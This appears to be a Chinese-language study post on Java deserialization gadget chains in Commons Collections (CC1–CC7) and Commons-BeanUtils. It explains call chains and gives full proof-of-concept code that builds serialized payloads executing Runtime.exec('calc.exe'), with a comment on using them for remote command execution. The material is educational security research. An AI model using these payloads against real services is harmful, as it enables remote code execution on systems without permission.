前言

java是由类编写的,它的反序列化牵扯到很多底层的东西,它的起点常常为readobject方法

Java 序列化和反序列化

当一个类需要被序列化和反序列化时,它必须实现 java.io.Serializable 接口

在Java反序列化的过程中,反序列化一个对象时,如果该对象的类实现了 java.io.Serializable 接口,并且定义了私有方法 readObject(),则在反序列化过程中会调用该自定义的 readObject() 方法。(readObject方法内调用的方法可以不用必须实现 java.io.Serializable 接口)

1
2
3
4
5
6
7
8
9
10
readObject:1407, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2169, ObjectInputStream (java.io)
readOrdinaryObject:2060, ObjectInputStream (java.io)
readObject0:1567, ObjectInputStream (java.io)
readObject:427, ObjectInputStream (java.io)

要序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.Serializable;

public class student implements Serializable {

private int age;
private String name;
private String sex;n
public student(){}
public student(int age,String name,String sex){
this.age=age;
this.name=name;
this.sex=sex;
}
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.lang.reflect.InvocationTargetException;
public class test {
public static void main(String[] args) throws Exception {
student obj = new student(18,"Arsene.Tang","男");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(barr);//使用ByteArrayOutputStream以将字节流保存在内存中。
oo.writeObject(obj);//通过将对象写入输出流(ObjectOutputStream)实现序列化
oo.close();
System.out.println(barr);//输出保存在内存中的字节流

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));//使用ByteArrayInputStream将保存在内存中的字节数组转换为字节流,并通过从输入流(ObjectInputStream)读取字节流实现反序列化
Object o = (Object) ois.readObject();
student s = (student) o;//重新构造出原始的对象。
System.out.println("您的姓名为:"+s.getName()+" 您的年龄为:"+s.getAge()+" 您的性别为:"+s.getSex());
}
}

map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 创建一个Map对象
Map<String, Integer> map = new HashMap<>();

// 向Map中添加键值对
map.put("apple", 1);

// 获取键对应的值
int appleValue = map.get("apple");
System.out.println("The value of 'apple' is: " + appleValue);

// 检查Map中是否包含指定的键
boolean containsKey = map.containsKey("banana");

// 迭代遍历Map的键值对
for (Map.Entry<String, Integer> entry : map.entrySet()) {
String key = entry.getKey();
int value = entry.getValue();
System.out.println("Key: " + key + ", Value: " + value);
}

// 删除指定的键值对
map.remove("orange");

// 清空Map
map.clear();

cc链

Java Commons Collections是一个广泛使用的Java类库,提供了一组高效且易于使用的数据结构和算法。它扩展了Java集合框架,提供了许多有用的集合类和工具类,以解决常见的编程问题。

cc1–AnnotationInvocationHandler+TransformedMap调用链

Transformer

Transformer的transform方法接受一个输入对象,并返回一个转换后的对象

1
2
3
4
5
 //Transformer是⼀个接⼝,只提供了一个对象转换方法transform
public interface Transformer {
public Object transform(Object input);

}

ConstantTransformer

在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回

1
2
3
4
5
6
7
8
9
//ConstantTransformer是实现了Transformer接⼝的⼀个类
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {//这里的返回值和transform的参数值无关
return iConstant;
}

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//实例化InvokerTransformer时,三个参数:第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();//在 Java 中,每个对象都有一个 getClass() 方法,该方法返回该对象所属的类的 Class 对象
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);}
catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' does not exist");}
catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' cannot be accessed");}
catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}

ChainedTransformer

ChainedTransformer类封装了Transformer的链式调用,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformer的transform方法。

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {//需要执行该方法才能开始链式执行
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

TransformedMap

TransformedMap类是一个装饰器类,TransformedMap.decorate方法通过装饰器模式来创建一个转换后的映射对象。当对转换后映射对象的键和值进行改变或添加时,会执行相对应的Transformer.transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
//以下为继承AbstractInputCheckedMapDecorator的内容
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
static class EntrySet extends AbstractSetDecorator {
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
}
static class EntrySetIterator extends AbstractIteratorDecorator {
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}
static class MapEntry extends AbstractMapEntryDecorator {
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler 是 Java 平台内部使用的类,并不是公共 API 的一部分,实现了java.lang.reflect.InvocationHandler(Java动态代理)接口java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMap中MapEntry的setValue方法,是Java 反射机制中用来处理注解代理的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
// Java动态代理的invoke方法(触发点 2)
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);////触发点 2
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}



private void readObject(java.io.ObjectInputStream var1)throws java.io.IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);}
catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
}
Map var3= var2.memberTypes();
Iterator var4=this.memberValues.entrySet().iterator();

while(var4.hasNext()){
Entry var5=(Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(name);
if (var7 != null) {
Object var8 = var5.getValue();
if (!(var7.isInstance(var8) || var8 instanceof ExceptionProxy)) {
var5.setValue(//触发点 1
new AnnotationTypeMismatchExceptionProxy(
var8.getClass() + "[" + var8 + "]").setMember(var2.members().get(var6)));}}}}
}

ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()//只要调用transform就行了,不用纠结传参的值,因为ConstantTransformer.transform()的值和传入的参数无关

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "abc");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);//Retention.class 是一个 Class 对象,outerMap 是一个 Map 对象
InvocationHandler handler = (InvocationHandler) obj;

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
System.out.println("对象序列化成功!");
oos.close();
//在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务,对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
System.out.println("对象反序列化成功!");
}
}

1

cc1–LazyMap#get触发transform

LazyMap的漏洞触发点和TransformedMap唯一的差别是在LazyMap的get方法中执行的transform

LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

public static Map decorate(Map map, Transformer factory) {//利用LazyMap.decorate构建LazyMap对象
return new LazyMap(map, factory);
}

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);//当它尝试get一个不存在的key时,它会调用factory.transform方法去获取一个值
map.put(key, value);
return value;
}
return map.get(key);
}

在AnnotationInvocationHandler类中的invoke方法中有调用到get,而动态代理就调用了invoke方法,而AnnotationInvocationHandler类恰好是InvocationHandler的实现类

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()//调用动态代理的方法触发invoke
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
       
Map outerMap = LazyMap.decorate(innerMap, transformerChain);//

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
//第一次InvocationHandler
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

//不同点
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);//调用动态代理的invoke方法

//第二次InvocationHandler
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);//代理后的对象为proxyMap,这条链子的入口依然是AnnotationInvocationHandler类中的readObject方法,所以说我们需要再利用AnnotationInvocationHandler对这个proxyMap进行封装

cc6–TiedMapEntry#hashcode触发get

CC1的链在jdk-8u71之后因为AnnotationInvocationHandler的修改已无法利用,使用TiedMapEntry#hashCode触发LazyMap#get方法,相比之下cc6相对更加通用,

TiedMapEntry

该类主要用于将 Map 中的 Entry 与外部对象进行绑定,以便在修改 Entry 的值时能够同时修改外部对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//想要触发利用链,需要找到地方去触发LazyMap中的get方法
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {//
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();//在hashCode()中又调用了getValue(),在getValue()中调用了this.map.get()
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 : value.hashCode());
}
// ...
}

HashMap

HashMap 是 Map 接口的一个实现类,HashMap 提供了高效的键值对存储和查找功能,允许键和值为 null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;//只要将这个key赋值为我们设置好的TiedMapEntry对象即可
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {
s.defaultReadObject();
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//cc6触发点
}
}
}

    java.util.HashMap.readObject()
        java.util.HashMap.hash()//调用第一个参数key的hashCode方法
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()//调用第一个参数map的get方法,且传入值为第二个参数key(上述参数为TiedMapEntry构造方法传入的参数)
                    org.apache.commons.collections.map.LazyMap.get(key)//调用LazyMap第二个参数factory的transform方法
                        org.apache.commons.collections.functors.ChainedTransformer.transform(key)
                            //可以将key设置TemplatesImpl对象,factory设置为InvokerTransformer实现调用TemplatesImpl#newTransformer

ysoserial 的操作(这里只看思路)
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6_1 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);//第一层,构建LazyMap

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");//第二层

Map hashMap = new HashMap();

/*
*此处使用put()触发了hash()方法
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");//第三层

outerMap.clear();//清空由于 hashMap.put 对 LazyMap 造成的影响
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
//iTransformers的值是chainedTransformer传入的参数,并参与逻辑

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();

ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}

cc5-TiedMapEntry#toString触发get

这个 gadget 只能在8u76之后用,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject(这里应该把5放到6前面的,懒得改了)

在 CC6 中是通过 TiedMapEntry#hashCode 来触发,在 CC5 中我们使用了TiedMapEntry#toString来触发LazyMap#get
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()

1
2
3
4
5
6
7
8
9
10
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;

Field valField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);

cc3–TemplatesImpl#newTransformer加载字节码

CC 3.2.2后新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中

很多的反序列化过滤器也都过滤掉了InvokerTransformer
例如,Java 序列化过滤器(ObjectInputFilter)可以通过 rejectProxyClass 和 rejectFilter 配置项来过滤恶意类,并拒绝 InvokerTransformer 的使用。

TemplatesImpl加载字节码时是由newTransformer来触发的(详细见我的上一篇文章)

InstantiateTransformer

InstantiateTransformer类也是实现了Transformer接口的一个类,而它的作用是调用构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InstantiateTransformer implements Transformer, Serializable {
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
}

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,在这个类的构造方法中,就正好调用了(TransformerImpl) templates.newTransformer()

示例

InstantiateTransformer.transform
TrAXFilter.TrAXFilter
TransformerImpl.newTransformer
TransletClassLoader#defineClass()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("字节码...");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
Transformer transformersChain = new ChainedTransformer(transformers);
//后面同cc1或cc6

2

cc2-TransformingComparator.compare触发transform

基于collections4特有的利用链
PriorityQueue#readObject()
TransformingComparator.compare()
InvokerTransformer.transform()

transform后其实也可以走cc3

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.io.*;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import static ysoserial.payloads.util.Reflections.setFieldValue;

public class CommonsCollections2_1 {
public static void main(String[] args) throws Exception {
Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(faketransfromer);
Comparator comparator = new TransformingComparator(transformerChain);
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain,"iTransformers",transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

cc7–原生Hashtable触发get

前言

之前看[D^3CTF]shorter这道题考的rome链缩减,总是看不懂,后来才发现和cc7这条链子关系很大,所以赶紧补上了,自学好难啊

Hashtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class Hashtable<K,V>
extends Dictionary<K,V>
implements Map<K,V>, Cloneable, java.io.Serializable {
private transient Entry<?,?>[] table;

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
int elements = s.readInt();//elements为传入的元素个数
table = new Entry<?,?>[length];

.............
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {//Hashtable中连续两个对象的hash值相等,index的值不变,e成功赋值,e.hash == hash
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
protected Entry(int hash, K key, V value, Entry<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}

hash计算流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
key.hashCode();//hashmap.hashcode
//java/util/AbstractMap.java
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
//hashmap#Node
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
//java/lang/String.java
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
/*
如果value相同,且两个lazymap里都只有一个对象,则{yy,}={zZ,}
证明:
val1=yy,val2=zZ
31*val1[0]+val1[1]=31*val2[0]+val2[1]
Z90 z122 y121
121*31+121=122*31+90
*/

AbstractMap

hashmap的equals方法继承与其父类AbstractMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public abstract class AbstractMap<K,V> implements Map<K,V> {
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {//遍历传入的hashmap
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))//触发点,m是传入的key
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
……..

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

CB链

在commons-beanutils中就提供了一种静态方法,让使用者可以直接调用任意JavaBean的getter方法,比如:
PropertyUtils.getProperty(people,"name");成功调用到了people对象的getName()方法

cb链主要思想是利用getProperty调用getOutputProperties,从而调用其中的newTransformer,cb链其实是cc3和cc2的结合
PriorityQueue#readObject()
siftDownUsingComparator()
BeanComparato.compare()
PropertyUtils.getProperty
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer

示例

1
2
3
4
5
6
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});